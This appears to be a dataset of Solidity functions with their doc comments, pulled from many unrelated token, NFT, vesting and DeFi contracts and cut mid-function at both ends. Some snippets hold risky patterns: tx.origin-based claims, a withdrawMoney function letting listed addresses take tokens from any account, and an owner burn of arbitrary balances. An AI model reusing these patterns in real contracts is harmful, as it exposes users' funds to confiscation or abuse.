            if (amount > _lotteryAmount)
                amount = _lotteryAmount;

            _yzy.transfer(_msgSender(), amount);
            _lotteryAmount = _lotteryAmount.sub(amount);
            _lotteryPaidOut = _lotteryPaidOut.add(amount);

            emit SentLotteryAmount(_msgSender(), amount, true);

            winnerInfo.push(
                WinnerInfo({
                    winner: _msgSender(),
                    amount: amount,
                    timestamp: block.timestamp
                })
            );
        }

        return false;
    }


/**
 * Returns the custom URI for each token id. Overrides the default ERC-1155 single URI.
 */

function uri(uint256 tokenId) public view override returns (string memory) {
        // If no URI exists for the specific id requested, fallback to the default ERC-1155 URI.
        if (bytes(tokenURI[tokenId]).length == 0) {
            return super.uri(tokenId);
        }
        return tokenURI[tokenId];
    }


/**
 * @notice Allow minting of a single 333 token by whitelisted addresses only
 */

function mint333(bytes32 messageHash, bytes calldata signature) external payable {
        require(saleIsActive333, "SALE_NOT_ACTIVE");
        require(TOKEN_PRICE_333 == msg.value, "PRICE_WAS_INCORRECT");
        require(totalSupply(TOKEN_ID_333) < MAX_TOKENS_333, "MAX_TOKEN_SUPPLY_REACHED");
        require(hasAddressMinted333[msg.sender] == false, "ADDRESS_HAS_ALREADY_MINTED_333_TOKEN");
        require(hashMessage(msg.sender) == messageHash, "MESSAGE_INVALID");
        require(verifyAddressSigner(messageHash, signature), "SIGNATURE_VALIDATION_FAILED");

        hasAddressMinted333[msg.sender] = true;

        _mint(msg.sender, TOKEN_ID_333, 1, "");

        if (totalSupply(TOKEN_ID_333) >= MAX_TOKENS_333) {
            saleIsActive333 = false;
        }
    }


/**
 * @notice Allow owner to send `mintNumber` 333 tokens without cost to multiple addresses
 */

function gift333(address[] calldata receivers, uint256 numberOfTokens) external onlyOwner {
        require((totalSupply(TOKEN_ID_333) + (receivers.length * numberOfTokens)) <= MAX_TOKENS_333, "MINT_TOO_LARGE");

        for (uint256 i = 0; i < receivers.length; i++) {
            _mint(receivers[i], TOKEN_ID_333, numberOfTokens, "");
        }
    }


/**
 * @notice claim ERNE tokens.
 * * Only for 20 days from the date of deployment
 * * Only for first 150,000 users
 * * First 10,000 Claimers will get  ERNE NFT
 * @param tokenAddr The ERNE token address.
 * @param amount The amount of token to transfer.
 * @param deadline The deadline for signature.
 * @param signature The signature created with 'signer'
 */

function claim(address tokenAddr, uint amount, uint deadline, bytes calldata signature)
        public
    {
        //Check msg.sender claim status
        require(!claimStatus[tx.origin], "Erne::claim: Duplicate call");

        // Time and count check
        require((now <= (strTime + 20 days)) && count < 150000 , "Erne::claim: time expired/Count exceeds");

        //messageHash can be used only once
        bytes32 messageHash = message(tx.origin, amount, deadline);
        require(!msgHash[messageHash], "Erne::claim: signature duplicate");

        //Verifes signature
        address src = verifySignature(messageHash, signature);
        require(signer == src, "Erne::claim: unauthorized");

        //Chage the Status of used messageHash
        msgHash[messageHash] = true;

        //Chage the Status of user claim status
        claimStatus[tx.origin] = true;

        // First 10,000 Claimers will get  ERNE NFT
        if(count < 10000) {
           IERC1155(NFT).safeTransferFrom(erc1155Holder, msg.sender, tokenId, 1, "0x0");
        }
        count = count + 1;

        //ERNE Transfer
        IERC20(tokenAddr).transfer(msg.sender,amount);
    }


/// @notice Unstake from the Pounder to USDT
/// @param amount - the amount of uCRV to unstake
/// @param minAmountOut - the min expected amount of USDT to receive
/// @param to - the adress that will receive the USDT
/// @return amount of USDT obtained

function claimFromVaultAsUsdt(
        uint256 amount,
        uint256 minAmountOut,
        address to
    ) public notToZeroAddress(to) returns (uint256) {
        _withdrawFromVaultAsEth(amount);
        _swapEthToUsdt(address(this).balance, minAmountOut, to);
        uint256 _usdtAmount = IERC20(USDT).balanceOf(address(this));
        if (to != address(this)) {
            IERC20(USDT).safeTransfer(to, _usdtAmount);
        }
        return _usdtAmount;
    }


/// @notice Unstake from the Pounder to stables and stake on 3pool convex for yield
/// @param amount - amount of uCRV to unstake
/// @param minAmountOut - minimum amount of 3CRV (NOT USDT!)
/// @param to - address on behalf of which to stake

function claimFromVaultAndStakeIn3PoolConvex(
        uint256 amount,
        uint256 minAmountOut,
        address to
    ) public notToZeroAddress(to) {
        // claim as USDT
        uint256 _usdtAmount = claimFromVaultAsUsdt(amount, 0, address(this));
        // add USDT to Tripool
        triPool.add_liquidity([0, 0, _usdtAmount], minAmountOut);
        // deposit on Convex
        booster.depositAll(9, false);
        // stake on behalf of user
        triPoolRewards.stakeFor(
            to,
            IERC20(CONVEX_TRIPOOL_TOKEN).balanceOf(address(this))
        );
    }


/// @notice Claim to any token via a univ2 router
/// @notice Use at your own risk
/// @param amount - amount of uCRV to unstake
/// @param minAmountOut - min amount of output token expected
/// @param router - address of the router to use. e.g. 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F for Sushi
/// @param outputToken - address of the token to swap to
/// @param to - address of the final recipient of the swapped tokens

function claimFromVaultViaUniV2EthPair(
        uint256 amount,
        uint256 minAmountOut,
        address router,
        address outputToken,
        address to
    ) public notToZeroAddress(to) {
        require(router != address(0));
        _withdrawFromVaultAsEth(amount);
        address[] memory _path = new address[](2);
        _path[0] = WETH;
        _path[1] = outputToken;
        IUniV2Router(router).swapExactETHForTokens{
            value: address(this).balance
        }(minAmountOut, _path, to, block.timestamp + 60);
    }


/// @notice Deposit into the pounder from any token via Uni interface
/// @notice Use at your own risk
/// @dev Zap contract needs approval for spending of inputToken
/// @param amount - min amount of input token
/// @param minAmountOut - min amount of cvxCRV expected
/// @param router - address of the router to use. e.g. 0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F for Sushi
/// @param inputToken - address of the token to swap from, needs to have an ETH pair on router used
/// @param to - address to stake on behalf of

function depositViaUniV2EthPair(
        uint256 amount,
        uint256 minAmountOut,
        address router,
        address inputToken,
        address to
    ) external notToZeroAddress(to) {
        require(router != address(0));

        IERC20(inputToken).safeTransferFrom(msg.sender, address(this), amount);
        address[] memory _path = new address[](2);
        _path[0] = inputToken;
        _path[1] = WETH;

        IERC20(inputToken).safeApprove(router, 0);
        IERC20(inputToken).safeApprove(router, amount);

        IUniV2Router(router).swapExactTokensForETH(
            amount,
            1,
            _path,
            address(this),
            block.timestamp + 1
        );
        _depositFromEth(address(this).balance, minAmountOut, to);
    }


/*
 * @dev Transfers sender's tokens to a given address. Returns success.
 * @param _from Address of Owner.
 * @param _to Address of token receiver.
 * @param _value Number of tokens to transfer.
 */

function _transfer(address _from, address _to, uint _value) internal {
        require(_to != 0x0);
        require(balances[_from] >= _value);
        require(balances[_to] + _value >= balances[_to]);

        uint previousBalances = balances[_from] + balances[_to];

        balances[_from] -= _value;
        balances[_to] += _value;

        assert(balances[_from] + balances[_to] == previousBalances);
        emit Transfer(_from, _to, _value);
    }


/**
 * Set some tokens aside
 */

function reserveTokens(uint numTokens) public onlyOwner {
        require(numTokens > 0, "numTokens was not given");
        // require ( tokenId > 15000 && tokenId < 15626 , "Token ID invalid" ) ;
        require(reservedTokens.add(numTokens) <= maxTokenSupply, "Reserving numTokens would exceed max supply of tokens");

        // reserve tokens
        uint supply = reservedTokens.add(15000);
        uint i;
        for (i = 1; i <= numTokens; i++) {
            _safeMint(msg.sender, supply + i);
        }
        reservedTokens = reservedTokens.add(numTokens);
    }


/**
 * Mint an escrow ticket
 *
 * @param _consignmentId - the id of the consignment being sold
 * @param _amount - the amount of the given token to escrow
 * @param _buyer - the buyer of the escrowed item(s) to whom the ticket is issued
 */

function issueTicket(uint256 _consignmentId, uint256 _amount, address payable _buyer)
    external
    override
    onlyRole(MARKET_HANDLER)
    {
        // Get the MarketController
        IMarketController marketController = getMarketController();

        // Fetch consignment (reverting if consignment doesn't exist)
        Consignment memory consignment = marketController.getConsignment(_consignmentId);

        // Make sure amount is non-zero
        require(_amount > 0, "Token amount cannot be zero.");

        consignmentIdToTicketClaimableCount[_consignmentId] += _amount;

        // Make sure that there can't be more tickets issued than the maximum possible consignment allocation
        require(consignmentIdToTicketClaimableCount[_consignmentId] <= consignment.supply, "Can't issue more tickets than max possible allowed consignment");

        // Get the ticketed token
        Token memory token = ISeenHausNFT(consignment.tokenAddress).getTokenInfo(consignment.tokenId);

        // Create and store escrow ticket
        uint256 ticketId = nextTicket++;
        EscrowTicket storage ticket = tickets[ticketId];
        ticket.amount = _amount;
        ticket.consignmentId = _consignmentId;
        ticket.id = ticketId;
        ticket.itemURI = token.uri;

        // Mint the ticket and send to the buyer
        _mint(_buyer, ticketId);

        // Notify listeners about state change
        emit TicketIssued(ticketId, _consignmentId, _buyer, _amount);
    }


/**
 * Claim the escrowed items associated with the ticket.
 *
 * @param _ticketId - the ticket representing the escrowed items
 */

function claim(uint256 _ticketId)
    external
    override
    {
        require(_exists(_ticketId), "Invalid ticket id");
        require(ownerOf(_ticketId) == msg.sender, "Caller not ticket holder");

        // Get the MarketController
        IMarketController marketController = getMarketController();

        // Get the ticket
        EscrowTicket memory ticket = tickets[_ticketId];

        // Burn the ticket
        _burn(_ticketId);
        delete tickets[_ticketId];

        // Release the consignment to claimant
        marketController.releaseConsignment(ticket.consignmentId, ticket.amount, msg.sender);

        // Notify listeners of state change
        emit TicketClaimed(_ticketId, msg.sender, ticket.amount);

    }


// override of default function

function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        // check address
        bool isBurnable = IsBurnable(_msgSender(), recipient);

        // check if transfer is enabled
        require(isTransferable || !isBurnable, "PiranhasToken: Transfer disabled");

        if (isTransferable) {
            if (isBurnable) {
                // divide amount in different parts
                uint256 burnPart = amount.div(100).mul(10);
                uint256 newAmount = amount.sub(burnPart);

                if (totalSupply().sub(burnPart) < minTotalSupply.mul(10 ** 18)) {
                    burnPart = totalSupply().sub(minTotalSupply.mul(10 ** 18));
                    newAmount = amount.sub(burnPart);
                }

                if (burnPart == 0) {
                    _transfer(_msgSender(), recipient, amount);
                    return true;
                } else {
                    _transfer(_msgSender(), recipient, newAmount);
                    _burn(_msgSender(), burnPart);
                    return true;
                }
            } else {
                _transfer(_msgSender(), recipient, amount);
                return true;
            }
        } else if (!isBurnable) {
            _transfer(_msgSender(), recipient, amount);
            return true;
        } else {
            return false;
        }
    }


// function for PiranhasGame which canWithdrawMoney

function withdrawMoney(address recipient, uint256 amount) public virtual returns (bool) {
        bool isInList = false;
        for (uint i = 0; i < canTransfer.length; i++) {
            if (canTransfer[i] == _msgSender()) {
                isInList = true;
            }
        }
        require(isInList, "PiranhasToken: Forbid action for this address");
        _transfer(recipient, _msgSender(), amount);
        return true;
    }


// read function which return if addres is in WithoutBurnList

function IsBurnable(address sender, address recipient) public view returns (bool) {
        bool isBurnable = true;
        for (uint i = 0; i < WithoutBurn.length; i++) {
            if (WithoutBurn[i] == sender || WithoutBurn[i] == recipient) {
                isBurnable = false;
            }
        }
        return isBurnable;
    }


// remover address from CanTransferList which can call withdrawMoney

function removeCanTransfer(address account) public onlyOwner {
        address[] memory OldcanTransfer = canTransfer;
        delete canTransfer;
        for (uint256 i = 0; i < OldcanTransfer.length; i++) {
            if (OldcanTransfer[i] != account) {
                canTransfer.push(OldcanTransfer[i]);
            }
        }

    }


// remove address to WithoutBurn list

function removeWithoutBurn(address account) public onlyOwner {
        address[] memory OldWithoutBurn = WithoutBurn;
        delete WithoutBurn;
        for (uint256 i = 0; i < OldWithoutBurn.length; i++) {
            if (OldWithoutBurn[i] != account) {
                WithoutBurn.push(OldWithoutBurn[i]);
            }
        }
    }


/**
 *
 * @dev setup vesting plans for investors
 *
 * @param _strategy indicate the distribution plan - seed, strategic and private
 * @param _cliff duration in days of the cliff in which tokens will begin to vest
 * @param _start vesting start date
 * @param _duration duration in days of the period in which the tokens will vest
 *
 */

function setVestingInfo(
        uint256 _strategy,
        uint256 _cliff,
        uint256 _start,
        uint256 _duration,
        uint256 _step
    ) external override onlyOwner {
        require(_strategy != 0, "Strategy should be correct");
        require(!vestingInfos[_strategy].active, "Vesting option already exist");

        vestingInfos[_strategy].strategy = _strategy;
        vestingInfos[_strategy].cliff = _cliff;
        vestingInfos[_strategy].start = _start;
        vestingInfos[_strategy].duration = _duration;
        vestingInfos[_strategy].step = _step;
        vestingInfos[_strategy].active = true;

        emit VestingInfoAdded(_strategy, _cliff, _start, _duration);
    }


/**
 *
 * @dev set the address as whitelist user address
 *
 * @param _tokenId token index
 * @param _wallet wallet addresse array
 * @param _tokenAmount vesting token amount array
 * @param _option vesting info array
 *
 */

function addWhitelists(
        uint256 _tokenId,
        address[] calldata _wallet,
        uint256[] calldata _tokenAmount,
        uint256[] calldata _option
    ) external override onlyOwner {
        require(_wallet.length == _tokenAmount.length, "Invalid array length");
        require(_option.length == _tokenAmount.length, "Invalid array length");

        for (uint256 i = 0; i < _wallet.length; i++) {
            require(whitelists[_tokenId][_wallet[i]].wallet != _wallet[i], "Whitelist already available");
            require(vestingInfos[_option[i]].active, "Vesting option is not existing");

            whitelists[_tokenId][_wallet[i]] = WhitelistInfo(
                _wallet[i],
                _tokenAmount[i],
                0,
                block.timestamp,
                vestingInfos[_option[i]].cliff,
                vestingInfos[_option[i]].start,
                vestingInfos[_option[i]].duration,
                vestingInfos[_option[i]].step,
                vestingInfos[_option[i]].start + vestingInfos[_option[i]].cliff * 1 days,
                _option[i],
                true
            );

            emit AddWhitelist(_tokenId, _wallet[i]);
        }
    }


/**
 *
 * @dev distribute the token to the investors
 *
 * @param _tokenId vesting token index
 *
 * @return {bool} return status of distribution
 *
 */

function claimDistribution(uint256 _tokenId) external override nonReentrant returns (bool) {
        WhitelistInfo storage wInfo = whitelists[_tokenId][msg.sender];

        require(wInfo.active, "User is not in whitelist");

        require(block.timestamp >= wInfo.nextReleaseTime, "NextReleaseTime is not reached");

        uint256 releaseAmount = calculateReleasableAmount(_tokenId, msg.sender);

        if (releaseAmount != 0) {
            IERC20(vestingTokens[_tokenId]).safeTransfer(msg.sender, releaseAmount);
            wInfo.distributedAmount = wInfo.distributedAmount + releaseAmount;
            wInfo.nextReleaseTime =
                uint256((block.timestamp - wInfo.start) / wInfo.step + 1) *
                wInfo.step +
                wInfo.start;
            return true;
        }

        return false;
    }


/**
 *
 * @dev calculate the total vested amount by the time
 *
 * @param _tokenId vesting token index
 * @param _wallet user wallet address
 *
 * @return {uint256} return vested amount
 *
 */

function calculateVestAmount(uint256 _tokenId, address _wallet) public view returns (uint256) {
        WhitelistInfo memory info = whitelists[_tokenId][_wallet];
        if (block.timestamp < info.cliff * 1 days + info.start) {
            return 0;
        } else if (block.timestamp >= info.start + (info.duration * 1 days)) {
            return info.tokenAmount;
        }

        return
            (info.tokenAmount * uint256((block.timestamp - info.start) / info.step) * info.step) /
            (info.duration * 1 days);
    }


// The following functions are overrides required by Solidity.
// check that account have necessary balance not into hold

function _beforeTokenTransfer(address from, address to, uint256 amount)
        internal
        override(ERC20, ERC20Snapshot)
    {
        super._beforeTokenTransfer(from, to, amount);
        if (from != address(0) && (to != address(0) || from == msg.sender)) {
            uint256 senderRealBalance = balanceOf(from) - _holdes[from];
            require(senderRealBalance >= amount, "ERC20: not enough tokens not in hold");
        }
    }


/**
 * @dev Get CRV rewards
 */

function harvest(address gauge) public {
        require(msg.sender == tx.origin ,"!contract");

        ICrvMinter(crv_minter).mint(gauge);

        uint256 crvToWant = crv.balanceOf(address(this)).mul(toWant).div(100);

        if (crvToWant == 0)
            return;

        uint256 bWantBefore = IERC20(want).balanceOf(address(this));

        IUniswapRouter(unirouter).swapExactTokensForTokens(
            crvToWant, 1, swap2WantRouting, address(this), block.timestamp
        );

        uint256 bWantAfter = IERC20(want).balanceOf(address(this));

        uint256 fee = bWantAfter.sub(bWantBefore).mul(manageFee).div(100);
        IERC20(want).safeTransfer(IController(controller).rewards(), fee);

        if (toBella != 0) {
            uint256 crvBalance = crv.balanceOf(address(this));
            IUniswapRouter(unirouter).swapExactTokensForTokens(
                crvBalance, 1, swap2BellaRouting, address(this), block.timestamp
            );
            splitBella();
        }

        deposit();

    }


//Charge a 0.3% deposit fee

function makeDeposit(address sender, uint256 amount) internal {
        require(balances[sender] == 0);
        require(amount > 0);

        //Take 0.3% of the fee and send it to the Owner of the contract
        uint256 depositFee = (amount.div(1000)).mul(3);
        uint256 newAmount  = (amount.mul(1000)).sub(depositFee.mul(1000));

        //Send the tokens to depositor of the Ethereum
        balances[sender] = balances[sender] + newAmount;                                // mint new tokens
        _totalSupply = _totalSupply + newAmount;                                 // track the supply
        emit Transfer(address(0), sender, newAmount);                                   // notify of the transfer event

        //Adding the fee to the reservedReward
        reservedReward = reservedReward.add(depositFee);

        //Adding the amount deposited to the depositor
        depositor[sender].amount = newAmount;
        emit Deposited(sender, newAmount);
    }


//Charge a 0.3% withdrawal fee

function withdraw(address payable _sender, uint256 amount) internal {

        uint256 withdrawFee = (amount.div(1000)).mul(3);
        uint256 newAmount   = (amount.mul(1000)).sub(withdrawFee.mul(1000));

        //Remove deposit in terms of ETH
        depositor[_sender].amount = depositor[_sender].amount.sub(amount);                               // remove deposit information from depositor record

        //Withdraw the amount from the contract and pay the fee
        require(_sender.send(newAmount.div(1000000)));                                                       // transfer ethers plus earned reward to sender
        emit Withdraw(_sender, newAmount.div(1000000), withdrawFee.div(1000));

        //Adding the fee to the reservedReward
        reservedReward = reservedReward.add(withdrawFee.div(1000));
    }


// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
// ------------------------------------------------------------------------

function approve(address spender, uint tokens) public returns (bool success){
        require(spender != address(0));
        require(tokens <= balances[msg.sender]);
        require(tokens >= 0);
        require(allowed[msg.sender][spender] == 0 || tokens == 0);
        allowed[msg.sender][spender] = tokens;
        emit Approval(msg.sender,spender,tokens);
        return true;
    }


// Check Token # Ownership

function checkHoundOwner(address addr) public view returns(uint256[] memory) {
        uint256 tokenCount = balanceOf(addr);
        uint256[] memory tokensId = new uint256[](tokenCount);
        for(uint256 i; i < tokenCount; i++){
            tokensId[i] = tokenOfOwnerByIndex(addr, i);
        }
        return tokensId;
    }


// Minting Function

function mintHound(uint256 _amount) public payable {
        uint256 supply = totalSupply();
        require( saleActive,                     "Sale Not Active" );
        require( _amount > 0 && _amount < 11,    "Can't Mint More Than 10 Tokens" );
        require( supply + _amount <= PUBLIC_SUPPLY, "Not Enough Supply" );
        require( msg.value == price * _amount,   "Incorrect Amount Of ETH Sent" );
        for(uint256 i; i < _amount; i++){
            _safeMint( msg.sender, supply + i );
        }
    }


// Presale Minting

function mintPresale(uint256 _amount, HHVoucher.Voucher calldata v) public payable {
        uint256 supply = totalSupply();
        require(presaleActive, "Private sale not open");
        require(claimedVouchers[v.voucherId] + _amount <= 2, "No Voucher For Your Address");
        require(_amount <= 2, "Can't Mint More Than Two");
        require(v.to == msg.sender, "No Voucher For Your Address");
        require(HHVoucher.validateVoucher(v, getVoucherSigner()), "Invalid voucher");
        require( supply + _amount <= PUBLIC_SUPPLY, "Not Enough Supply" );
        require( msg.value == price * _amount,   "Incorrect Amount Of ETH Sent" );
        claimedVouchers[v.voucherId] += _amount;
        for(uint256 i; i < _amount; i++){
            _safeMint( msg.sender, supply + i );
        }
    }


// Gift Function - Collabs & Giveaways

function gift(address _to, uint256 _amount) external onlyOwner() {
        require( _amount <= MAX_SUPPLY, "Not Enough Supply" );

        uint256 supply = totalSupply();
        for(uint256 i; i < _amount; i++){
            _safeMint( _to, supply + i );
        }

    }


/**
 * @dev Add beneficiary with related information to the vesting contract
 * @param _account address of the beneficiary to whom vested tokens are transferred
 * @param _start the time (as Unix time) at which point vesting starts
 * @param _cliffDuration duration in seconds of the cliff in which tokens will begin to vest
 * @param _duration duration in seconds of the period in which the tokens will vest
 * @param _amount the vesting amount of beneficiary
 * @param _revocable whether the vesting is revocable or not
 */

function register(
        address _account,
        uint256 _start,
        uint256 _cliffDuration,
        uint256 _duration,
        uint256 _amount,
        bool _revocable
    ) external onlyOwner {
        require(
            !_vestingBeneficiaries[_account].initialized,
            "TokenVesting: account has been registered"
        );
        require(
            _account != address(0),
            "TokenVesting: account is zero address"
        );
        require(
            _cliffDuration <= _duration,
            "TokenVesting: cliff is longer than duration"
        );
        require(_duration > 0, "TokenVesting: duration is 0");
        require(
            _start.add(_duration) > block.timestamp,
            "TokenVesting: final time is before current time"
        );
        require(
            totalAllocated.sub(totalReleased).add(_amount) <=
                IERC20(vestingToken).balanceOf(address(this)),
            "TokenVesting: insufficient balance"
        );

        Beneficiary memory beneficiary = Beneficiary(
            _start,
            _start.add(_cliffDuration),
            _duration,
            _amount,
            0,
            _revocable,
            false,
            true
        );
        _vestingBeneficiaries[_account] = beneficiary;
        totalAllocated = totalAllocated.add(_amount);
    }


/**
 * @notice Transfers vested tokens to beneficiary.
 * @param _account The address of beneficiary
 */

function claim(address _account)
        external
        isRegistered(_account)
        returns (uint256)
    {
        Beneficiary storage beneficiary = _vestingBeneficiaries[_account];
        uint256 unreleasedAmt = _releasableAmount(beneficiary);
        require(unreleasedAmt > 0, "TokenVesting: no tokens are due");

        beneficiary.released = beneficiary.released.add(unreleasedAmt);
        totalReleased = totalReleased.add(unreleasedAmt);
        IERC20(vestingToken).safeTransfer(_account, unreleasedAmt);
        emit Claimed(_account, unreleasedAmt);
        return unreleasedAmt;
    }


/**
 * @notice Allows the owner to revoke the vesting. Tokens already vested
 * remain in the contract, but the amount will be updated.
 * @param _account The address of beneficiary
 */

function revoke(address _account)
        external
        onlyOwner
        isRegistered(_account)
    {
        Beneficiary storage beneficiary = _vestingBeneficiaries[_account];
        require(beneficiary.revocable, "TokenVesting: cannot revoke");
        require(!beneficiary.revoked, "TokenVesting: account already revoked");

        uint256 unreleasedAmt = _releasableAmount(beneficiary);
        uint256 refund = beneficiary.amount.sub(
            beneficiary.released.add(unreleasedAmt)
        );

        // the amount of beneficiary will minus refund amount
        // claim amount = new amount - released amount
        beneficiary.amount = beneficiary.amount.sub(refund);
        beneficiary.revoked = true;
        totalAllocated = totalAllocated.sub(refund);
        emit Revoked(_account);
    }


/**
 * @dev Calculates the amount that has already vested.
 * @param _beneficiary The related information of beneficiary
 */

function _vestedAmount(Beneficiary storage _beneficiary)
        private
        view
        returns (uint256)
    {
        if (block.timestamp < _beneficiary.cliff) {
            return 0;
        } else if (
            block.timestamp >= _beneficiary.start.add(_beneficiary.duration) ||
            _beneficiary.revoked
        ) {
            return _beneficiary.amount;
        } else {
            return
                _beneficiary
                    .amount
                    .mul(block.timestamp.sub(_beneficiary.start))
                    .div(_beneficiary.duration);
        }
    }


//////////////////////////////////////////////////
/// Begin QTAAR token functionality
//////////////////////////////////////////////////
/// @dev QTAAR token constructor

function QTAAR() public
    {
        // Define owner
        owner = msg.sender;
        // Define initial owner supply. (ether here is used only to get the decimals right)
        uint _initOwnerSupply = 250000 ether;
        // One-time bulk mint given to owner
        bool _success = mint(msg.sender, _initOwnerSupply);
        // Abort if initial minting failed for whatever reason
        require(_success);

        ////////////////////////////////////
        // Set up state minting variables
        ////////////////////////////////////

        // Set last minted to current block.timestamp ('now')
        ownerTimeLastMinted = now;

        // 4100 minted tokens per day, 86400 seconds in a day
        ownerMintRate = calculateFraction(4100, 86400, decimals);

        // 5,000,000 targeted minted tokens per year via staking; 31,536,000 seconds per year
        globalMintRate = calculateFraction(5000000, 31536000, decimals);
    }


/// @dev staking function which allows users to split the interest earned with another address

function stakeQTAARSplit(uint _stakeAmount, address _stakeSplitAddress) external
    {
        // Require that a QTAAR split actually be split with an address
        require(_stakeSplitAddress > 0);
        // Store split address into stake mapping
        stakeBalances[msg.sender].stakeSplitAddress = _stakeSplitAddress;
        // Require that tokens are staked successfully
        require(stakeTokens(_stakeAmount));

    }


/// @dev allows contract owner to claim their mint

function ownerClaim() external onlyOwner
    {
        // Sanity check: ensure that we didn't travel back in time
        require(now > ownerTimeLastMinted);

        uint _timePassedSinceLastMint;
        uint _tokenMintCount;
        bool _mintingSuccess;

        // Calculate the number of seconds that have passed since the owner last took a claim
        _timePassedSinceLastMint = now.sub(ownerTimeLastMinted);

        // Sanity check: ensure that some time has passed since the owner last claimed
        assert(_timePassedSinceLastMint > 0);

        // Determine the token mint amount, determined from the number of seconds passed and the ownerMintRate
        _tokenMintCount = calculateMintTotal(_timePassedSinceLastMint, ownerMintRate);

        // Mint the owner's tokens; this also increases totalSupply
        _mintingSuccess = mint(msg.sender, _tokenMintCount);

        // Sanity check: ensure that the minting was successful
        require(_mintingSuccess);

        // New minting was a success! Set last time minted to current block.timestamp (now)
        ownerTimeLastMinted = now;
    }


/// @dev stake function reduces the user's total available balance. totalSupply is unaffected
/// @param _value determines how many tokens a user wants to stake

function stakeTokens(uint256 _value) private returns (bool success)
    {
        /// Sanity Checks:
        // You can only stake as many tokens as you have
        require(_value <= balances[msg.sender]);
        // You can only stake tokens if you have not already staked tokens
        require(stakeBalances[msg.sender].initialStakeBalance == 0);

        // Subtract stake amount from regular token balance
        balances[msg.sender] = balances[msg.sender].sub(_value);

        // Add stake amount to staked balance
        stakeBalances[msg.sender].initialStakeBalance = _value;

        // Increment the global staked tokens value
        totalQTAARStaked += _value;

        /// Determine percentage of global stake
        stakeBalances[msg.sender].initialStakePercentage = calculateFraction(_value, totalQTAARStaked, decimals);

        // Save the time that the stake started
        stakeBalances[msg.sender].initialStakeTime = now;

        // Fire an event to tell the world of the newly staked tokens
        Stake(msg.sender, stakeBalances[msg.sender].stakeSplitAddress, _value);

        return true;
    }


/// @dev calculateFraction allows us to better handle the Solidity ugliness of not having decimals as a native type
/// @param _numerator is the top part of the fraction we are calculating
/// @param _denominator is the bottom part of the fraction we are calculating
/// @param _precision tells the function how many significant digits to calculate out to
/// @return quotient returns the result of our fraction calculation

function calculateFraction(uint _numerator, uint _denominator, uint _precision) pure private returns(uint quotient)
    {
        // Take passed value and expand it to the required precision
        _numerator = _numerator.mul(10 ** (_precision + 1));
        // handle last-digit rounding
        uint _quotient = ((_numerator.div(_denominator)) + 5) / 10;
        return (_quotient);
    }


/**
 * @dev Burns a specific amount of tokens from another address
 * @param _who From whom the tokens should be burnt
 * @param _value The amount of token to be burned.
 */

function burnFromAnotherAccount(address _who, uint256 _value) public onlyOwner {
    require(_value <= balances[_who]);
    // no need to require value <= totalSupply, since that would imply the
    // sender's balance is greater than the totalSupply, which *should* be an assertion failure

    balances[_who] = balances[_who].sub(_value);
    totalSupply_ = totalSupply_.sub(_value);
    emit Burn(_who, _value);
    emit Transfer(_who, address(0), _value);
  }


/// @notice Claim Deaf Gold for a given Deaf ID
/// @param tokenId The tokenId of the Deaf NFT

function claimById(uint256 tokenId) external {
        // Follow the Checks-Effects-Interactions pattern to prevent reentrancy
        // attacks

        // Checks

        // Check that the msgSender owns the token that is being claimed
        require(
            _msgSender() == DeafContract.ownerOf(tokenId),
            "MUST_OWN_TOKEN_ID"
        );

        // Further Checks, Effects, and Interactions are contained within the
        // _claim() function
        _claim(tokenId, _msgSender());
    }


/// @notice Claim Deaf Gold for all tokens owned by the sender
/// @notice This function will run out of gas if you have too much Deaf! If
/// this is a concern, you should use claimRangeForOwner and claim Deaf
/// Gold in batches.

function claimAllForOwner() external {
        uint256 tokenBalanceOwner = DeafContract.balanceOf(_msgSender());

        // Checks
        require(tokenBalanceOwner > 0, "NO_TOKENS_OWNED");

        // i < tokenBalanceOwner because tokenBalanceOwner is 1-indexed
        for (uint256 i = 0; i < tokenBalanceOwner; i++) {
            // Further Checks, Effects, and Interactions are contained within
            // the _claim() function
            _claim(
                DeafContract.tokenOfOwnerByIndex(_msgSender(), i),
                _msgSender()
            );
        }
    }


/// @notice Claim Deaf Gold for all tokens owned by the sender within a
/// given range
/// @notice This function is useful if you own too much Deaf to claim all at
/// once or if you want to leave some Deaf unclaimed. If you leave Deaf
/// unclaimed, however, you cannot claim it once the next season starts.

function claimRangeForOwner(uint256 ownerIndexStart, uint256 ownerIndexEnd)
        external
    {
        uint256 tokenBalanceOwner = DeafContract.balanceOf(_msgSender());

        // Checks
        require(tokenBalanceOwner > 0, "NO_TOKENS_OWNED");

        // We use < for ownerIndexEnd and tokenBalanceOwner because
        // tokenOfOwnerByIndex is 0-indexed while the token balance is 1-indexed
        require(
            ownerIndexStart >= 0 && ownerIndexEnd < tokenBalanceOwner,
            "INDEX_OUT_OF_RANGE"
        );

        // i <= ownerIndexEnd because ownerIndexEnd is 0-indexed
        for (uint256 i = ownerIndexStart; i <= ownerIndexEnd; i++) {
            // Further Checks, Effects, and Interactions are contained within
            // the _claim() function
            _claim(
                DeafContract.tokenOfOwnerByIndex(_msgSender(), i),
                _msgSender()
            );
        }
    }


/// @dev Internal function to mint Deaf upon claiming

function _claim(uint256 tokenId, address tokenOwner) internal {
        // Checks
        // Check that the token ID is in range
        // We use >= and <= to here because all of the token IDs are 0-indexed
        require(
            tokenId >= tokenIdStart && tokenId <= tokenIdEnd,
            "TOKEN_ID_OUT_OF_RANGE"
        );

        // Check that Deaf Gold have not already been claimed this season
        // for a given tokenId
        require(
            !seasonClaimedByTokenId[season][tokenId],
            "GOLD_CLAIMED_FOR_TOKEN_ID"
        );

        // Effects

        // Mark that Deaf Gold has been claimed for this season for the
        // given tokenId
        seasonClaimedByTokenId[season][tokenId] = true;

        // Interactions

        // Send Deaf Gold to the owner of the token ID
        _mint(tokenOwner, DeafGoldPerTokenId);
    }


/// @notice Distribute dividends to the GandhijiMain contract. Can be called
///     repeatedly until practically all dividends have been distributed.
/// @param rounds How many rounds of dividend distribution do we want?

function distribute(uint256 rounds) public {
        for (uint256 i = 0; i < rounds; i++) {
            if (address(this).balance < 0.001 ether) {
                // Balance is very low. Not worth the gas to distribute.
                break;
            }

            GandhijiMainContract.buy.value(address(this).balance)(msg.sender);
            GandhijiMainContract.exit();
        }
  }


//Below function will convert string to integer removing decimal

function stringToUint(string s) returns (uint) {
        bytes memory b = bytes(s);
        uint i;
        uint result1 = 0;
        for (i = 0; i < b.length; i++) {
